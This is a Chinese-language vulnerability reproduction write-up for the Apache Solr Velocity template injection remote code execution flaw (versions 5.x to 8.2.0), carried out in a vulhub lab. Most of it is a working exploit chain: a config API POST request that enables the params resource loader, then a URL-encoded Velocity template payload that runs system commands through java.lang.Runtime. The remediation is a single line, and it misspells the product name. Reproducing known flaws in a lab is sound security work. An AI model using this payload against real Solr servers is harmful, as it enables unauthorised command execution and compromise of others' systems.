漏洞简介

Apache solr介绍

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果。

漏洞成因

1、当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
2、Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。 当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

漏洞影响范围

Apache Solr 5.x - 8.2.0,存在config API版本

漏洞复现

环境搭建

使用vulhub搭建环境
进入漏洞相关目录
启动靶场环境

docker-compose up -d

查看 环境所占用端口

docker ps

访问环境地址 出现以下界面 说明环境搭建成功
image.png

漏洞复现

1、我们先通过如下API获取所有的core名称

http://192.168.30.134:8983/solr/admin/cores?indexInfo=false&wt=json

core:运行在Solr服务器中的具有唯一命名的、可管理、可配置的索引,一台Solr可以托管一个或多个索引。
存在一个demo索引
image.png
2、利用demo索引 修改params.resource.loader.enabled的值为true
只有params.resource.loader.enabled的值为true 才可以使用用户自定义模板
查看配置

http://192.168.30.134:8983/solr/demo/config

image.png
发送以下数据包修改params.resource.loader.enabled的值为true

POST /solr/demo/config HTTP/1.1
Host: 192.168.30.134:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

再次查看配置文件 发现params.resource.loader.enabled的值更改为true
image.png
3、注入用户自定义模板 执行各种命令

http://192.168.30.134:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

命令执行成功
image.png

修复建议:

建议升级Appache Salc到最新版

参考文章:

https://www.hacking8.com/bug-product/Apache-Solr/Apache-Solr-Velocity%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.html

更多推荐